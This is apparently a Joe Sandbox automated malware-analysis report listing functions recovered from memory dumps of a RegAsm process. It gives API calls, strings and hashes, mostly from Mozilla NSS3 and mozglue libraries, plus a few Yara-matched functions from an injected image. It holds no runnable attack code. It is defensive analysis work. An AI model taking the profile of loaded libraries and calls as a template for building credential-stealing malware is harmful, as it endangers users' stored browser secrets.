Opcode Fuzzy Hash: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 6C3E2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+>l,6C3E32C2,<+>l,00000000,00000000,?), ref: 6C3E2FDA

Part of subcall function 6C3D14C0: TlsGetValue.KERNEL32 ref: 6C3D14E0
Part of subcall function 6C3D14C0: EnterCriticalSection.KERNEL32 ref: 6C3D14F5
Part of subcall function 6C3D14C0: PR_Unlock.NSS3 ref: 6C3D150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C3E300B

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C3E302A

Part of subcall function 6C3D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D08B4

Part of subcall function 6C3BC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C3BC45D
Part of subcall function 6C3BC3D0: TlsGetValue.KERNEL32 ref: 6C3BC494
Part of subcall function 6C3BC3D0: EnterCriticalSection.KERNEL32(?), ref: 6C3BC4A9
Part of subcall function 6C3BC3D0: PR_Unlock.NSS3(?), ref: 6C3BC4F4

Strings

<+>l, xrefs: 6C3E2FD0

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+>l
API String ID: 2538134263-2858419978
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 5d130da98bd60199c7ca81358eb99125febf7f3b0dff6d002460f32c6bc7134a
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3011C4B7A001086BDB409E64EC00ADB77AA9F84668F194135F81DD7790E772ED15CBA2

Function 6C43CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C43CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C43CC7B), ref: 6C43CD7A
Part of subcall function 6C43CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C43CD8E
Part of subcall function 6C43CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C43CDA5
Part of subcall function 6C43CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C43CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C43CCB5
memcpy.VCRUNTIME140(6C4D14F4,6C4D02AC,00000090), ref: 6C43CCD3
memcpy.VCRUNTIME140(6C4D1588,6C4D02AC,00000090), ref: 6C43CD2B

Part of subcall function 6C359AC0: socket.WSOCK32(?,00000017,6C3599BE), ref: 6C359AE6
Part of subcall function 6C359AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C3599BE), ref: 6C359AFC

Part of subcall function 6C360590: closesocket.WSOCK32(6C359A8F,?,?,6C359A8F,00000000), ref: 6C360597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C43CCB0

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: ffacbcbd2978843fb7a96c70c15e0949ef30da77c3a634a3249e04bfcd93c16f
Instruction ID: 96a3f3ee9aadd9756e166d0994e01a278b20998ba8bd024db21c00aaadf479eb
Opcode Fuzzy Hash: ffacbcbd2978843fb7a96c70c15e0949ef30da77c3a634a3249e04bfcd93c16f
Instruction Fuzzy Hash: 4811D6F5B112505EDB00FF5A9866F427AF89346738F141129ED0ACBB41E734F4044BD6

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A937
vI@, xrefs: 0041A929

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 6C2FA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C42A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C44C3A2,?,?,00000000,00000000), ref: 6C42A528
Part of subcall function 6C42A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C42A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C2FA94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C2FA939
%s at line %d of [%.10s], xrefs: 6C2FA948
database corruption, xrefs: 6C2FA943

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 999ddbb16a36679b9f32eaed50af2251115811ebde8c2a74fa99f85f1f232f63
Instruction ID: 1822945c399b9536760d5972e3616ec26bcb816bc029ad67a8b6979e0bcd4b78
Opcode Fuzzy Hash: 999ddbb16a36679b9f32eaed50af2251115811ebde8c2a74fa99f85f1f232f63
Instruction Fuzzy Hash: D5014931A4020CABD700CA6ADC01F5BF7F8AF88309F45453DED595BA40D731E90A87A1

Function 6C388850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C390715), ref: 6C388859
PR_NewLock.NSS3 ref: 6C388874

Part of subcall function 6C4398D0: calloc.MOZGLUE(00000001,00000084,6C360936,00000001,?,6C36102C), ref: 6C4398E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C38888D

Strings

NSS, xrefs: 6C388887

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 6f027ee84613bfd097acb43330ada18ab0a30b3504a1efd2ef572c25564da6fe
Instruction ID: 70b78649311ddb1e97cae27f784a55443488648555adb06c1a0356a4c4a1e5bd
Opcode Fuzzy Hash: 6f027ee84613bfd097acb43330ada18ab0a30b3504a1efd2ef572c25564da6fe
Instruction Fuzzy Hash: C6F0F0A2E8262033F21026696C06F8634989F5175EF040031E90CA3BC2EA92A5088BF3

Function 6C29F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C299420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C264A68), ref: 6C29945E
Part of subcall function 6C299420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C299470
Part of subcall function 6C299420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C299482
Part of subcall function 6C299420: __Init_thread_footer.LIBCMT ref: 6C29949F

GetCurrentThreadId.KERNEL32 ref: 6C29F440
AcquireSRWLockExclusive.KERNEL32(6C2DF4B8), ref: 6C29F44D
ReleaseSRWLockExclusive.KERNEL32(6C2DF4B8), ref: 6C29F472
GetCurrentThreadId.KERNEL32 ref: 6C29F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C29F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C29F4A8

Part of subcall function 6C29F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C29F09B
Part of subcall function 6C29F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C29F0AC
Part of subcall function 6C29F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C29F0BE

Part of subcall function 6C28CBE8: GetCurrentProcess.KERNEL32(?,6C2531A7), ref: 6C28CBF1
Part of subcall function 6C28CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2531A7), ref: 6C28CBFA

GetCurrentThreadId.KERNEL32 ref: 6C29F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C29F561
GetCurrentThreadId.KERNEL32 ref: 6C29F577
AcquireSRWLockExclusive.KERNEL32(6C2DF4B8), ref: 6C29F585
ReleaseSRWLockExclusive.KERNEL32(6C2DF4B8), ref: 6C29F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C29F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C29F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C29F56A
[I %d/%d] profiler_resume, xrefs: 6C29F239
)TO/, xrefs: 6C29F07C, 6C29F1BA, 6C29F32A, 6C29F41A

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: )TO/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-1960654985
Opcode ID: 5bd91d154b7a07f0f6b39b3f361e77b4c23cbc63fa9384df0601d03b78a48a09
Instruction ID: 138fb0f4c78f3e4798dd4b55c7b69c9fd58e99d3f68ac8e5a41c9c8d9a2c69c6
Opcode Fuzzy Hash: 5bd91d154b7a07f0f6b39b3f361e77b4c23cbc63fa9384df0601d03b78a48a09
Instruction Fuzzy Hash: 30F09636E10219CFCB509F65981C39A77B4EB6A36AF550119EF11537C1DBB07408C7AE

Function 6C41A890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C405F25,?,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41A8A3

Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE10
Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE24
Part of subcall function 6C3BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C39D079,00000000,00000001), ref: 6C3BAE5A
Part of subcall function 6C3BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE6F
Part of subcall function 6C3BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE7F
Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEB1
Part of subcall function 6C3BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C405F25,?,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41A8BA
SECITEM_ZfreeItem_Util.NSS3(%_@l,00000000,00000000,?,6C405F25,?,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41A8CF

Strings

%_@l, xrefs: 6C41A894, 6C41A8CE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_@l
API String ID: 2877228265-1698008043
Opcode ID: 9c252a20ddaa5b397f86af56a50ec7a08a1494c4c81e52d0a17bf1a71485dee7
Instruction ID: a1c31692fa05ee0449681c1991574cf17a541dd065bfb3666aff63afbf71ca3c
Opcode Fuzzy Hash: 9c252a20ddaa5b397f86af56a50ec7a08a1494c4c81e52d0a17bf1a71485dee7
Instruction Fuzzy Hash: B4F0A0B2A01B1467EA109A56E804FA773989F0065EF048428DC9AA7F01F732E8098BD2

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 6C36C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C36CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C36CB4B
sqlite3_free.NSS3 ref: 6C36CB70
sqlite3_result_error_nomem.NSS3 ref: 6C36CB99

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: f524b52bdbb3d9fde99a3001a4b49200ab9ae99b5f5e1a9131a187c54550200a
Instruction ID: 865ed5917eaa8a7e95ea8eb7c1f3f0cd494d4de37517ce5ca9e85f10f64a61a6
Opcode Fuzzy Hash: f524b52bdbb3d9fde99a3001a4b49200ab9ae99b5f5e1a9131a187c54550200a
Instruction Fuzzy Hash: 9351D631609B498ADB01EF36D05012BF7F4BF8A798F10470DE8D56B954EB31D495CB92

Function 6C264C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C2DE7DC), ref: 6C264C2F
LeaveCriticalSection.KERNEL32(6C2DE7DC), ref: 6C264C82
EnterCriticalSection.KERNEL32(6C2DE7DC), ref: 6C264C89

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6C265511
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C265766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C2657AE
MOZ_PROFILER_STARTUP, xrefs: 6C2655E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C2654B9
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C2650F3, 6C265121, 6C26513C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C265717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C26548D
)TO/, xrefs: 6C264C0F, 6C26544F
GeckoMain, xrefs: 6C265554, 6C2655D5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C2656E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C265749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C2654A3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C265791
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C2657C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C265724

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: )TO/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-1681922677
Opcode ID: c85a5eaa6e52e94cac2fd731639ed44552aa08f3490500f2192518fa51d915f1
Instruction ID: 4989e6a1a373293e13d8026feac86e90014cf8b38b81c1c39d6ed666ae2a00d9
Opcode Fuzzy Hash: c85a5eaa6e52e94cac2fd731639ed44552aa08f3490500f2192518fa51d915f1
Instruction Fuzzy Hash: 9F41B73160531A8BD704CF2AC46471A77E1AF95729F29861CECB18BED1CB30D4C1C7A1

Function 6C434FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C3185D2,00000000,?,?), ref: 6C434FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C43500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4350D6

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
